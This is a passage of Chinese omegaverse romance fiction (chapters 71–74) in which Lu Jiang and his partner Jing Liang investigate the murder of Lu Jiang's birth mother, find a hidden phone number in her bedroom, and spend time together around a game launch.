景凉下意识回答完呼吸一窒,瞪着眼看向他,不由笑了声:“别想了,就你那动静,干了什么人家会不知道?想点绿色健康的。” “啊!”卢绛苦闷的用力搓了把通红的脸,“那我们吃完宵夜不住他家,去住酒店?” 景凉差点笑岔气,“哈哈……再说吧,来回就真的天亮了,你还折腾得动?” “我能!”卢绛用力且肯定的回答道。 “行,卢少牛B。”小年青,体力就是好,身体素质就是棒! 周洲知道他们要来,夜宵做得很丰盛,除了打底的面食还有小汤锅,又献宝地将自己做的卤味都拿了出来。 卢绛吃第一口时就被惊艳了,比他做的可好吃得多。 “凉哥,好好吃!” 景凉一脸骄傲:“那是当然,大学里omega必修课他是满分毕业的,上学的时候我都不知道蹭了他多少饭。” 周洲失笑:“这没什么值得夸的。” 景凉:“当然值得夸,做饭好吃是一项非常了不起的生存技能。” 卢绛好奇追问道:“那凉哥呢?” 这问题让景凉促不及防呛了口汤汁,“你小子,别拆我台。” 周洲感叹了声:“你凉哥当时可是学校的风云人物,哦不对,现在也是个风云人物。除了omega必修课不及格,各项专业课都是满分毕业,很厉害的!” “周哥,你多说说你们在大学时的生活吧!” “那我挑几件有趣的说……” 卢绛听着很羡慕,要是早生几年,早过来几年,说不定还能看到景凉在大学时的样子,应该特别耀眼夺目。 当然,他现在依然也很耀眼,就像流光溢彩的宝石,大大方方的搁置高位,让人可望不可及。 景凉一点也不扭捏,随便周洲讲他的那些中二史,谁没个青春犯二的年纪? 他低头看了眼腕表,已经凌晨一点了。 “今天就聊到这吧,我带卢绛回市区。” 周洲惊讶:“你现在还回市区?不在这儿住下吗?上了一天班又开这么久的车,你不累?” 之前还想要回市区的卢绛听到这句话拉住了景凉,“那就不回市区了,在周哥这边住一晚也挺好。” 景凉心头一暖,紧扣过他的手,眼里的情意能把人闪瞎。 周洲捂着眼,就怕下一秒他们要不顾一切的亲上。 他慌忙起身道:“你们随意,我回房间睡觉,这里明天再收拾。”语落,给他闹了个脸红跑了。 70-80 第71章 第71章 你要记住姥姥的话,不要让你…… 景凉跟自己家一样, 来过很多次了,轻车熟路的带卢绛进了卧室。 一关上门,卢绛拥过他动情的与他拥吻,直到濒临失控前, 才放开了他。 他窘迫的红了脸, 声音沙哑道:“我去洗手间……” 二十岁的小伙子容易冲动也很正常,景凉一脸解强忍住笑意目送他飞快的钻进了洗手间关上了门。 卢绛在洗手间里呆了近四十分钟, 出来的时候只围着一条浴巾, 头发还是潮湿的。 见他要上床, 景凉推了推他:“去把头发完全吹干再睡, 快点!” 卢绛以为他睡着了,用吹风机会有很大的噪音,于是又折回去把头发吹干回来。 他钻进被子用力把景凉抱进了怀里,满足的往他颈窝用力蹭了蹭, 香香的老婆。 “你怎么也不穿条内裤?”景凉耳尖泛红的瞪着他。 “内裤我洗了, 出来得很着急,什么也没带, 书包里只带了几本书。” 景凉被逗笑了, “没见过比你还爱学习的。” 卢绛没那么爱学习,就是生活经验没那么多, 着急的时候往书包塞书也是习惯性使然。 “唔老婆……我好想你。”卢绛声音闷闷的, 将脸埋在他的颈窝里黏黏糊糊、哼哼唧唧地撒着娇。 “我也是, 很想你。”景凉认真的回应着他的感情, 吻了吻他发丝浓密柔软的头顶。 “我在那边找好房子了, 租的地段很好,想着你来看我的时候,我们可以住一起。”结果他一次也没有来。 听到他说是租房子, 景凉不由多想,下意识问了句:“你身上是不是钱不够?” “够的。” 景凉轻拍着他的后背不相信,想来从他再次见到卢绛开始,卢绛确实很节省,花钱也是精打细算的,不买跑车不买名牌也不买奢侈品,连衣服穿得那么旧也没换新的。 越想越觉得是卢家亏待他了,心疼。 但为了照顾卢绛的面子,景凉也没明面儿说要给他钱花,只是暗中盘算着。 两人温存了好一会儿,全然没有睡意。 “对了,周哥他看起来……嗯,他好像……” “他刚洗了终身标记,你这狗鼻子倒是很会闻。” 卢绛心脏漏了一拍:“我不是故意去闻的,只是有些好奇问一问。” “紧张什么?我又不是什么醋都吃。” “哦,那就好。”松了口气。 “何家老太太叫你回去,不会那么简单,你自己是怎么想的?” “何今月,我妈……她的死不是意外,但是现在警方已经定性是入室抢劫,估计很难再找到什么证据。” 景凉想了想说道:“要不,我陪你回事发点看看,说不定能找到别的线索。” “我有点想不通。” “嗯?” “如果是黎花起了杀心,为什么会在这个时间?过去二十年时间她不可能没机会,留着何今月想要找到卢羡的下落也说不通的,前面十几年她根本不知道,最近这三年也没动手。” “你怀疑的人,是卢羡?” “我第一次去何今月的住处时,房子并没有小孩生活过的迹象,可是听卢佑铭他们说的是将我和卢羡调包,我觉得是谎言,卢羡根本没有养在何今月的身边,那他这二十年,生活在哪里?” 景凉一阵胆颤心惊,“他敢杀第一个人,就一定敢动手杀第二个,阿绛……” “你别紧张,也别自己吓自己,这只是我们的猜测,我不信他这个邪,暑假我打算回卢家住。” “你疯了?”景凉猛地坐起身,“卢家现在就是龙潭虎穴,你避都来不及,还要回去住?” 卢绛将他拽了回去,抱在怀里安抚着:“凉哥,你现在是关心则乱,你仔细想想,如果我在外边出事,可以是意外,也可以嫁祸给别人,我怎么也不能在自己家里出事,所以呆在卢家我是最安全的,而且近距离接触还能窥探黎花母子的举动。” 是啊,如果卢绛在家里出事,那么嫌疑最大的就是黎花母子。 就算卢佑铭买通警方不作为,社会网络的舆论压力也能将卢家淹没。 两人紧拥着彼此,又聊了些生活日常放松一下心情,实在太困,聊着聊着就睡了过去。 初夏的到来让气温骤然攀升。 黎花为了让儿子住得更舒适点,让家里的阿姨帮他把卧室搬到了卢家后院靠山的水榭。 水榭与主屋相隔有点远,平日除了洒扫的阿姨,几乎不会有人过来。 卢羡回来这么久,除了偶尔去公司跟乔秘书学一些东西,余下的时间遛猫逗狗,一片岁月静好。 黎花送了一些解暑的冷饮和点心过来,卢羡看她过来表情淡淡的,依旧坐在榻榻米上撸着一只小黑猫。 “中午想吃什么?我叫阿姨给你做。” “随便。” “这里住得好吗?要是不喜欢,妈妈给你买个独立的大别墅。” “不用了。” 黎花不知想到了什么,红了眼眶,“你是不是还在心里怪我?怪我没有保护好你?如果当年……” “别说了。”卢羡眼中浮现不耐的烦躁,随后又若无其事笑笑:“你不要多想,我现在过得很开心,我喜欢卢家,喜欢我新的身份,也喜欢这座漂亮的大房子。” “你还想要什么?妈妈都给你找来!” “是吗?”卢羡笑容诡谲,“我想要的东西,可不一般,您就不用操心了,我会亲自动手拿。” “妈妈都懂得,你放心,你这些年的委屈和遭遇的不公,妈妈都会帮你一点一点讨回来!”黎花眼里满是恨意,声色发哑。 卢羡盯着她却没有什么情感起伏,在他看来,更多的是陌生。 分开二十年,哪有什么感情啊,不过是遗憾与不甘罢了。 把这些不属他的爱与恨强加诸于他的身上,这女人真够愚蠢的! “我想一个人呆会儿,你走吧。” “好,要是累了可以让司机载你到处转转,你以后要生活在这里,熟悉一下环境和人也挺好的。” 黎花看他的眼里满是疼爱与怜惜,只是卢羡似乎感知不到这份疼惜,黎花难免失落起身离开。 不知为何,她突然又想起几年前与卢绛相处的点滴,那孩子挺容易满足的,送块破表都能高兴大半年。 前段时间还拿出来戴了一阵子,可他终究是那个贱女人的孩子,连叫他一声‘妈妈’,她都觉得恶心! * 何今月下葬的上午,过来的人不多,卢佑铭从始至终都没出面,只是打发了乔秘书过来处一些事宜。 卢绛穿着一件黑色的缎面衬衣,九分黑色休闲裤,表情庄重严肃,在所有人看来,明明是个低等级alpha,由内而外散发的气场与压迫感却让人不敢轻易靠近。 待送葬的亲朋好友都走后,何老太太上前拉起了卢绛的手:“这段时间要不住在姥姥家里?” 卢绛强忍着想将手抽回的冲动,脸上挤出一丝笑意:“对不起姥姥,怕是不能住下了,学校里还有事,还有一堆私事要等着处,以后有机会我再来看您。” 老太太下意识攥紧了他的手,表情绝决:“你要记住姥姥的话,不要让你的母亲含恨九泉,死不瞑目!” “我知道了。”卢绛淡着脸,强硬的将手抽了回来,头也不回的走了。 人性就是这样凉薄,爱与恨都不是无缘无故的,只有立场相同的共赢。 “卢少,是要回卢家吗?”乔秘书叫住了他。 卢绛摇头:“你先回去吧,可以向卢佑铭交差了,我去找他。” ‘他’是谁乔秘书当然知道,便立即点了下头 卢绛上了不远处一辆黑色的小轿车,没一会儿就驶出了墓园。 景凉调整了下后视镜,悄悄打量着副驾驶座的人,看起来心情不太好。 “要不要先去吃个上午茶休息一下?” “好,随你安排。” “嗯,我查查附近的早茶店。” “我来吧,你好好开车。”说着,卢绛从他手里接过了手机。 吃好上午茶,景凉带他回了半山腰的别墅。 卢绛对这里有归属感和亲切感,一进屋就全身放松感觉疲惫的倒进了沙发里。 阿姨骑着小电驴刚买好菜回来,看卢绛回来了,脸上的笑容都咧到了耳根。 “小卢来了呀,阿姨等会儿多做两个菜,都瘦了,要好好吃饭才行!” “谢谢阿姨。”卢绛将脸闷在抱枕里,四肢完全放松躺平。 景凉去厨房倒了杯果汁给他,坐到了沙发边沿,抽了下他紧实弹性的PP,“真困的话去回房睡,趴着睡不闷?” 卢绛翻了个身,曲着一条腿,严肃道:“我下午想去何今月住处看看。” “那我……” “我自己去就行了。” “不,我跟你一起去,多个人有个照应,万一凶手还在附近呢?” 卢绛不由多问了句:“陈万川最近有动静吗?他没给你找麻烦吧?” 景凉:“最近小动作不断,撺掇着董事局几个老东西搅局,斩草得除根,才能以绝后患。” 卢绛:“我回头帮你问问,看有什么办法。” “问谁?” “霍临啊,你还差点要跟他相亲来着!”卢绛提高了音量,意味不明。 “哦~他啊,要不找个时间聚一聚吧?也让我好好瞧一下,总让你提起的厉害角色究竟怎么样。” “一定会有机会的。” 俩人在家里吃了顿饭,没做休息,又马不停蹄赶去了小县城那边,去的时候是卢绛开车的,他想让景凉能多休息一下。 这是卢绛第二次踏足这里。 院子的铁门被重重铁链锁上了,还贴着封条,里面枉死过人,远远看着死气沉沉,路过的狗都瘆。 “要找村委会那边问一下钥匙吗?”景凉问他。 卢绛退后了几步,看了眼一米多高的水泥墙,一个冲刺纵身就上了墙头,然后朝景凉递出了手:“来,我拉你。” 第72章 第72章 他以前怎么没有发现,他的a…… 景凉大为震惊, “你一个好学生,翻墙怎么这么熟练?” “呃……”卢绛一阵心虚,“也没有很熟练,吧?” 其实说起来, 初中到高二的那几年, 因为与周围的环境人群格格不入,总会显得他特立独立而叛逆, 不与人交流不爱说话, 成绩好也不防碍他会逃学翻围墙, 想一个人呆着。 来到这个世界, 遇到了景凉,他的性子改变了很多,心扉也不再紧闭。 他会自主的想要拥抱,要去交朋友, 逐渐放松自己, 从一开始的不适应,到现在很喜欢这个世界, 但并不是因为这个世界才喜欢这里, 是因为这个世界有他。 景凉跟着冲刺而上,被卢绛一把拉住手腕, 用巧劲一带, 轻松就爬了上去。 卢绛率先跳下墙头, 景凉跟着往下跳, 他都不记得自己多久没做这么出格的事了。 两人十指不知何时就扣到了一起, 并肩往屋子走去。 主屋的门没有反锁,一推就开了。 屋内并没有想像中的凌乱,依旧是卢绛记忆中的有条不紊, 整齐但落了一层厚厚的灰。 屋子一旦久未有人居住,就会格外阴森冰冷,死气沉沉。 景凉背后感觉毛毛的,往卢绛身边紧贴,第一次这般小鸟依人的姿态,原本在认真打手电筒观察的卢绛,察觉到景凉的靠近,一只手将他拥在了怀里。 “要不,我一个人去二楼卧室?” 人是在二楼卧室遇害的,卢绛似乎并不害怕,胆大得很。 景凉悄摸咽了口唾沫:“我一个人呆着不行,还不如跟你一起上去。” “嗯,你抱着我,我保护你。”卢绛低笑了声。 景凉其实也没多害怕,只是呆在他的alpha身边不需要那么强势,就像偶尔玩一场冒险游戏,新奇又有趣。 景凉双臂紧环着他劲瘦的腰身,沿着一层层木质楼梯慢慢往上,一直到何今月生前居住的卧室。 她的卧室在走廊东边尽头,卧室带卫生间约四十来坪,床对着小阳台,据结案的资料说凶徒是从小阳台攀爬上来,入室抢劫杀人的。 一刀割喉,鲜血喷溅,人就倒在床尾,床尾和墙上还沾着没有洗去已经发黑的血点子。 能找的线索警方和卢、何两家大概都翻遍了,卢绛并不考虑翻找什么柜子和抽屉。 突然,卢绛蹲下身,趴在地板上。 景凉吓了一跳,下意识去拉他:“地板很脏,血都没擦干净,你快起来。” 卢绛冲他笑笑:“没事的凉哥。”他趴的地方就是死者倒下去的地方。 他拿着手电筒仔细的照着床底和凳子沙发下,留下不少死者掉落的长发与灰尘纤维绞成一团在平时看不见的黑暗角落。 “你胆子怎么这么大?” “小时候……”卢绛突然意识到什么,话峰一转:“小时候喜欢看鬼片。” 小时候没有爸妈,跟同龄的小孩起冲突,老师就只罚他一个,经常被关潮湿黑暗的禁闭室,起先还会害怕,次数一多,没见过鬼,就不相信有鬼了。 卢绛躺在原地,不断变化着视角,想着何今月死前的心境,她被割喉往前爬行了一小段,才死在了这里。 突然圆筒光源固定在左边的床柱上,卢绛‘蹭’的一下起身,张到了左床柱那边,抬起床脚,试图想将靠墙的床移开。 景凉见状,上前抬起了另一侧,床头被移开,显露出遮蔽的白墙,偌大的一块乍一看没什么特殊,手电筒的光源一寸寸过去,角落不起眼的一串数字显现。 那串数字是用化妆品的高光笔写上去的,不仔细看完全看不出来,但在灯光下会比较明显。 卢绛将手电筒递给景凉,拿出手机,调了下焦聚和灯光效果,在镜头前那串数子就更明显了。 那是一串手机号码,并不稀奇,但是一串手机号码写在这里才更耐人寻味。 景凉凑上前看着照片,连大气都不敢喘,瞪大着眼神满是惊诧:“你是怎么知道……” “人死前会有走马灯,曾经做过的事和心中的愧会被无限放大,在心中形成无法化去的执念,我趴在她死去的地方,在想,她死的时候在看什么呢?心中在愧疚挂念着什么?” “卧房是一个人最隐私的地方,左床柱有很明显的松动和搬动的痕迹,不是一两次形成的,她心中的鬼和愧就一定在那里。” 短短一段话,却让景凉听得心惊胆颤,心痛不己,“你经历过?” “什么?” “死前的走马灯。” 卢绛故作轻松地笑了声:“是啊,以前跟人飙车,差点死了。” 景凉眉头紧锁,他以前怎么没有发现,他的alpha竟然这么擅长撒谎?! 景凉生气,但更多的是心疼,他不想逼他太紧。 或许还是在一起的时间太短,让他对自己不够信任,所以从不坦白心中的伤痛与过往。 总有一天,他会让卢绛的身心都完全信任自己的。 两人将床复位,很快离开了这里。 一上车,卢绛将车顶棚放下,让夜晚凉爽的风带走身上的湿热与黏腻感。 开了一个小时回了到市中心,吃晚饭稍晚了点,不过两人各怀心事都没什么胃口,便找了一个小店随便吃了点。 景凉给他倒了一杯大麦茶,问道:“那个号码,你要打吗?” “嗯。”卢绛手里拿着手机,已经开始在拨号了。 号码拨过去嘟嘟响了两声,传来一道机械音——您拨的电话号码是空号。 卢绛不死心又拨了一次,无疑没有第二个结果。 “查吧,看有谁在近期用过这个号码。”查一个手机号的户主对景凉来说并不是难事。 “也只有这个办法了。” 当晚景凉就找了关系让人去查了这个号码的原始主人。 第二天清早那边就发来了资料。 景凉看着资料一脸愁容,怎么都是八杆子打不着的关系,而且这个号码的主人在三年前已经死了。 他将资料转发给了卢绛,正巧卢绛起床想问这个事。 “那边的资料刚传过来,我发你邮箱了。”景凉跟外边进来的阿姨打了一声招呼,便坐在餐桌前等早餐。 阿姨先拿了两杯柠檬水过来,“早餐马上就好。” “谢谢阿姨。”卢绛嘴甜的道了声谢,坐到景凉身边拿手机查看他发来的资料。 这个号码原主户用了十二年,名叫李大强,户籍在偏远的西焦山,又穷又落后的地方。 三年前村桩发生了一场大火,活活烧死了几十户人家,李大强就是其中一个。 “会不会只是一个巧合?其实这个号码也没什么意义?” “不,”卢绛语气反而肯定道:“如果这人还活着,都没这么诡异,偏偏有关联的两个人都死了,这就不是一个巧合。” “还要继续查下去?”景凉面露凝重。 卢绛认真考虑了会儿,才道:“暂时不了,我得回学校准备期末考。”想要转校就不能考太差,临门一脚可别出岔子。 “哦……今天还是明天走?”景凉一听他又要回学校,心中难免失落,每次见面都没什么时间好好相处就要走了。 “明天晚上,刚刚机票已经订了。” 景凉想了想说道:“那我下午早点回来。” “我想陪你一起去公司,可以吗?” “当然可以。”景凉求之不得。 两人一起吃完早餐,又一起去了公司,不想放过任何可以呆在一起的机会,浪费一分一秒的时间。 * 他们调查手机号码的事,并不完全隐蔽,这边查完,那边消息就传到了黎花耳里。 不过这一点完全在景凉与卢绛的意料之中。 卢羡指尖夹着一张写着手机号码的纸片,不由好笑:“那又怎么样?就让他们查吧,这一切都毫无意义。” 说着,拿出打火机点燃了纸片,松开指尖让夏风带进了前方的湖泊中。 然而黎花却不这样认为,她用力咬着下唇,几乎要尝到血腥味,“我不能让任何人威胁到你的未来,阿羡,你放心,交给妈妈,我要让他再也不能威胁到你的存在!” “威胁到我的存在?”卢羡歪着头打量着她,一脸不解,“我存在于这里的意义,是什么?” 黎花心疼地轻抚着他的脸,郑重承诺道:“妈妈会帮你夺回你该拥有的一切,卢家都是你的,你要成为帝都最尊贵的alpha,以后就再也没有人敢欺负我们母子!” 卢羡突然笑了声:“听起来不错,所以,你要杀了阿绛弟弟吗?” “他不是你的弟弟!阿羡,都是因为他,是他害你受尽苦难和折磨,他还骗了我十六年!”说到这里,黎花近乎疯狂,恨到了骨髓。 “他当然不是……”连他看黎花的眼神也是陌生而冰冷的,她根本不知道他要的是什么,名利金钱这些东西于他来说都太可笑。 * 因为这段时间周洲带薪放假,景凉招了一名实习秘书,是个细腻温柔的男性omega,符合很多人对男性omega的偏好。 纤细柔软,笑容甜美。 平时这名男O工作中规中矩的,不怎么出色,但也没有出过错,所以景凉便留下了。 可是今天一反常态。 不是忘了拿这个文件,就是忘了拿那个资料,加上送了三次咖啡和果汁,进进出出他的办公室都快十趟了。 景凉瞥了眼浑然不觉的罪魁祸首,随意的坐在地板上,背靠着沙发正在做试卷。 这男O又进来了,这次连看也没看顶头上司一眼,直朝奔向卢绛给他又拿了一些甜点。 “卢少,这些甜点是我刚下楼去买的,你快尝尝。” 卢绛头也没抬,只是吩咐了声:“你放着吧。” 突然他意识到了什么,疑惑抬头看向男O,问了句:“工作不忙吗?” 第73章 第73章 凉哥,要是没有遇到我,你又…… 景凉抱着双臂, 表面上不动声色看戏,心里已经把这个男O开除了上百遍。 全公司都知道卢绛是他的alpha,这实习秘书是抱着什么心态在他面前明目张胆的靠近勾引的? 男O被卢绛这么一问,面上有些尴尬笑笑:“还好。” 卢绛眉头紧锁, 表情冷峻:“做好你份内的事, 别没事找事。” 男O暗中咽了口唾沫,窘红了脸, 逃也似的离开了办公室, 终于没再以送各种文件吃喝跑进来。 景凉本来挺闹心的, 看到卢绛一副比他更烦躁厌恶的样子, 又不由笑了声。 卢绛看到他笑,吐槽了句:“你对手下是不是太放纵了些?居然还笑得出来?” 景凉:“这小东西本来就没安心呆下去,又仗着自己有点姿色,放手搏一搏万一咱们卢少对他另眼相看呢?” 卢绛气结:“你真这么大方?” “你试试?” “我才不试, 你又挖坑给我跳。” 景凉笑道:“哪有?我什么时候挖坑给你跳过?” 卢绛转着手里的笔, 微眯着眼盯着他,“我不想提, 你明明心里清楚。” “咳, 工作,你好好写你的试卷!”景凉自觉心虚的摸下了鼻子, 假装若无其事的继续工作。 景凉下午四点就与卢绛离开了公司, 两人一刻也没舍得离开彼此, 一直到第二天晚上, 景凉送他去机场。 下次回来也快了, 熬过期末,大二学期就能转学到帝都这边。 卢绛还想着到时候给他一个大大的惊喜。 刚到南城机场出口,就看到霍临正倚在路边的栏杆上看手机, 一身深色的职场正装,工牌草率的塞在西裤口袋里,掉出一截蓝色的带子。 “霍哥。” 听到卢绛的喊声,他下意识回头,走到车边拉开了副驾驶座:“先上车。” 两人驶出机场高架桥,直接上了高速,车程四十五分钟。 霍临瞥了他好几眼,笑得几分邪性:“回家玩得挺野。” “什么?” 霍临抬头戳了戳自己脖子相应的地方。 卢绛拉下身前的遮阳板,推出小镜子,往脖子上照了照,脖子上有几个红痕子,他和景凉整个下午都腻歪在床上,出门走得匆忙。 看他笑得一副春心荡漾,霍临羡慕得双眼都要滴血,“哎,不一样的二十岁,别人还在吃泡面省钱养二次元老婆,小老板事业爱情双丰收,羡慕嫉妒恨哪!” 卢绛心情不错的笑了笑,“你也会有的,晚几年而己。” “你听听,你听听,人言否?” 卢绛将座椅放下,抻了下长腿,放松半躺下了,安静躺了会儿,突然扯过自己的圆领T恤嗅了嗅,是omega留下的香味。 他这个小动作被霍临看到,当事人无知无觉,霍临替他红了脸。 “浪死你算了!”脚下一踩油门,泄火的往前狂飙而去。 下了高速,霍临看了眼时间,问道:“我要去接崔少霈,是先送你回学校,还是一起去接人,然后一起撸个串?” “一起吧。” “Ok。” 崔少霈刚从酒庄出来,霍临的车子便刚好停在他的面前,此时卢绛已经坐到了后座,换了件有领子的黑色衬衣,还特意把副驾驶留了出来。 其实崔少霈从来没指望过霍临会来接他下班回家,但他自觉领了这个活,这么晚打车也挺难的,所以崔少霈便任他去了。 平时崔少霈都坐后座,一上车就假装睡觉,一句话也不说。 今晚他照常拉开后座,印入眼中的是一张冷酷俊美脸,抬手与他淡淡的打了一声招呼。 崔少霈闻到了他身上浓郁的omega香气,占有欲十足,无形在警告别的omega不要靠近他的alpha。 同身为omega一看就知道是做了什么出门的,长着一张禁欲冷酷的脸,人品有待确定,跟崔少霈能混在一起的玩意,估计也不是什么正经人。 崔少霈有点嫌弃的甩上后座,看了眼空的副驾驶,比起跟一个只见过两面的带着一身O味的alpha坐一起,还是坐前面稳妥。 崔少霈暗叹了口气坐上副驾驶,目不斜视。 等了好一会儿,霍临一直盯着他也不开车,他扭头瞪了他一眼:“开车啊,你看我车子能动啊?” 卢绛假装刷手机,两耳不闻窗外事,反正这两人见面是要吵的,就没见过好好说过话。 霍临不语,笼下一片阴影朝崔少霈压去,崔少霈脸红脖子粗的上手就是一巴掌:“你tm想干嘛?” 霍临无语的捂着火辣辣的脸颊,“我只是好心的想要帮你扣安全带,我们小老板还在呢,我能干嘛?” “你说一声就是了。”崔少霈没好气推开他,窘迫系上了安全带。 霍临无语望天,想浪漫一下是不可能了,他就不该想! 这座南方城市的夜市是营夜到凌晨四点多的,此时十点多正是人多的时候,想找个座位还得排号。 靠海的城市海鲜卖得便宜,是夜宵摊子上的主打,卢绛却一点不沾,认真的撸各种串和鸡翅。 霍临疑惑:“这家海鲜做得很好,你真的一点不尝?” “有段时间只能吃海鲜,好长时间闻到这些味儿就想吐,你们吃吧。” “还有这经历?”霍临失笑,摇了摇头径自拿了一只大虾悠然的剥着壳。 他们边吃边聊着,没有把崔少霈当外人。 听到卢绛说起家里和转学的事情,让崔少霈对他有些刮目相看。 之前一直以为他是靠家里的才弄了个公司玩玩,霍临哄着他搞钱来着。 原来不是个纨绔二世祖,恰恰相反,是个能力出众的学霸。 霍临在和他交谈时,也没有平时与他呆在一起的无赖与幼稚,有着一种跨越年龄的成熟稳重。 “景凉的事情,你倒不用操心,卢家这边的情况更复杂。” “你有什么建议?” “把心放肚子里吧,你别太小看你家这个omega,”霍临笑得意味深长:“你向我指教我可不敢当,他心里怕是早就有了成算,只是没跟你讲。” “会赢?” “会。”霍临用着肯定的语气说道:“只是时间线提前了,产生了蝴蝶效应。” “卢家的事,你知道多少?” “不多,毕竟那种顶级豪门我没什么机会接触。”有些事情他不方便再往下说,崔少霈看他们的眼神已经不对劲了,好像在看两个神棍。 中途崔少霈去了一趟洗手间,霍临这才压低着嗓音说道:“我在后世知道卢羡这个人,最离谱的你都想不到。” “离谱什么?”卢绛八卦的瞪大了双眼。 “卢羡有一段时间跟景凉有过很深的接触,卢佑铭意外去逝后,景凉收购了卢氏旗下好几家公司。” 卢绛心中五味杂呈,“卢羡和他……他们,在一起了吗?” 霍临一阵心梗:“没,没在一起,我也不太确定,那个……他现在不是跟你在一起吗?应该不会发生这种事……吧?” 霍临确实不知道姓景的有没有跟卢羡在一起过,当时是有一些暧昧的传闻,说什么景凉凭借美惑了卢羡,联合他一起把卢家掏空。 前世他虽然是景凉的alpha,但他也只是名议上的,充其量就是一个工具人!工具人知道的事情是有限的。 “那,”卢绛深吸了口气,一脸严肃的问道:“他结婚了吗?” 霍临一阵窒息,“结,结是结婚了。” 其实更离谱的他根本不敢跟卢绛说,他前世和景凉结过婚,想说也说不出口。 “是个怎样的alpha?那个人对他好吗?他过得幸福吗?” 霍临有些烦躁的抓了抓头发,“嘶,啊……这个,我也不太清楚,好像不怎样,很平凡,都没什么人听过,反正景凉后世的事业是相当成功的!” “哦……”原来他在原来的世界是结婚的,如果没有他的出现,景凉也会爱上别人吗?他那样好的人,无论是跟谁在一起,应该也会很幸福吧! 想到这里卢绛心口的酸涩几乎要溢满。 等崔少霈回来后,他们就结帐各回各家了。 卢绛回了自己的出租屋,收拾书抱时,从里面摸出一张黑卡,想着可能是景凉遗落在他这儿的,于是给他打了一个电话。 景凉这个时间本来是该睡的,不过今天卢绛刚走,他很不适应,翻来覆去没什么睡意。 看到来电,他迫不及待的接听了。 “怎么还没休息?”景凉的声音是连自己都没察觉的温存与缱绻。 卢绛慵懒的靠在床头,手里夹着黑卡看了看,说道:“你有一张黑卡落在我书包里了。” “我知道,里面的钱你拿去买好吃的。” “你干嘛要给我钱?” “你这次回来都瘦了,我看着心疼。” 卢绛抿唇笑了,连眼里都带了笑意,“那我收下了,谢谢老婆。” “嗯……”景凉心中漾着甜蜜,“下次等你回,给你一个惊喜。” “那做为交换,我也给你一个惊喜。” “现在在学校?” “没,在出租屋里,才和霍临他们一起撸了串回来。” 景凉轻叹了口气:“我记得刚认识你那会儿,你每晚十点必睡,现在都要熬成夜猫子了。” “我有睡午觉的。” “你还在长身体,别不当回事。” “哦……”想到之前那一次长身体的聊天记录,卢绛不由笑了声。 “笑什么?” “没什么。”卢绛突然话锋一转,问他:“那天在医院看到卢羡,你什么感觉啊?” “你那个哥哥?”景凉提到他一言难尽,“不太记得长什么样了,就觉得心思挺沉的,表里不一,你说要回卢家住,我真怕你会被他给欺负。” “我不会让人欺负的。”卢绛说得斩钉截铁。 “凉哥,要是没有遇到我,你又会遇到谁呢?你会喜欢什么样的人?” “说什么傻话?在遇到你之前,我以为一辈子就这样了,随便找个可以控制的对我没有威胁的alpha,在自己的事业上找一丝慰藉,无所谓他爱不爱我,我也不会爱上任何人。” 第74章 第74章 你要是困了就睡吧,我一个人…… 心底翻涌的思念几乎要将卢绛淹没, 好想现在飞越这两千多公里,去到他身边,紧紧拥抱他。 “有时候我觉得,我来到这里, 就是为了能够遇见你。” “来到这里?”景凉失笑, 以为他又犯病了,故作轻松道:“你不是一直都在这里么?” “嗯, 我希望一直都在, 能守着你一辈子。”卢绛诚心许愿, 尽管这份爱越来越厚重, 压在他背后的重量却是幸福实在的,叫他心安。 “一辈子很长很长的,你真的做好准备了?”景凉不是不相信他的爱,至少现在, 此时此刻, 卢绛的心百分百是真的,可事世变化莫测, 人心易变, 难保不是他年少无知,随着人生阅历多了, 所谓的至死不渝终成过往风景, 不值一提。 卢绛十分肯定:“爱你这件事情, 从来不需要做准备, 是深入骨髓融入我命的自然而然, 能和你一辈子对我来说是命运的最高奖励,更不需要承诺保证,什么都可以变, 我对你不会变的,一生要做的事情很多,爱你一个人都不够时间,我怎么会浪费感情和时间去看别人?” 景凉心脏狂跳不已,他从来不知道,卢狗说情话的水平这么高,太犯规了,这谁能抵抗得了? “行了,别说了。” “老婆,你不信么?” “不是,你再说下去,我的心脏要炸了。” 景凉用力按压着心脏,它激动得仿佛要冲出胸口,连呼吸都开始困难。 “那你是信我了?” “嗯,信你。” “我要去洗澡了,可以不挂电话吗?” “随你……” 那晚通话就一直没挂断,直到早上醒来卢绛发现自己手机欠费,当即怒缴十万话费。 * 卢绛考完试那天,荒野求生正式上线运营,新型的战术竞技型射击游戏,游畅稳定的服务器和精美逼真的3D画面一下子吸引了无数玩家,上线短短三天,最高累计同时在线人数高达两百多万。 公司为此准备了一场庆功宴,时间定在卢绛回去的前两天。 卢绛提前了几天给景凉打了个电话,想知道他有没有时间过来参加这次的庆功宴。 景凉正好将手头重要的工作处完,欣然应允了他。 去机场接人的上午,卢绛提了一辆三百多万的新跑车。 景凉拉着小行李箱,刚走出出口,卢绛在人群里一眼便看到了他,以百米冲刺的速度越过人墙来到了他的面前,抱起他转了好几圈,笑得开怀。 “你终于来了。” “嗯。”景凉双肘抵在他宽阔的肩膀上,十指相扣圈着他的脖子,抵着额头四目在潮热的空气中交织缠绕。 卢绛抬起下巴就亲了他柔软温热的唇,熟悉的香气叫人意乱情迷。 直到景凉发现已经有不少人朝这边投来热烈的注目礼,甚至已经有人拿手机拍摄,他有些慌乱道:“先放我下来,人太多了。” “不要,我不怕他们看。”说着一手将omega抱在胸前,一手拉过行李大步朝自己的车走去。 “我怕呀!”景凉羞耻的将脸埋在了他的颈窝。 人群传来一阵兴奋的尖叫,景凉摒着呼吸,脸红到脖子根。 好在这个过程十分短暂,跑车如夜空的流星快速消失在公路尽头。 卢绛将人接到了自己市中心的出租屋里,高层一百多坪的公寓很豪华,一室一厅一卫,整面落地窗能将这座城市的夜景尽收眼底。 “环境不错。”不过看得出来不常住人,没什么生活过的痕迹。 卢绛将他的行李放在了一旁,悄悄走到景凉身后,一把将他猛地抱进怀里,欢愉的笑声在景凉耳边颤动。 “要做吗?” 景凉心跳漏了一拍,逗着他道:“做什么?” “浴室有个很大的浴缸,我们可以一边泡澡一边做,如果你不想的话,我可以等你洗完再做。” “有没有第三个选择?” “我们现在可以去床上做。” “你这个小色魔!” 卢绛强迫他扭过脸:“选哪个?” 景凉推了推他:“去放水,我有点累,借你的床先躺一下。” 卢绛用力亲了他一下,高兴的跑进浴室去放水了。 景凉长舒了口气,往床上倒去,被子是很干爽的淡香,没有卢绛的气味,看来他最近也不在这里住。 才刚躺了会儿,手机响了。 景凉慵懒的接起了来电,那端传来周洲略显紧张的声音。 “阿凉,陈万川跑了!不知道是谁通风报信,警察去他家里扑了个空。” 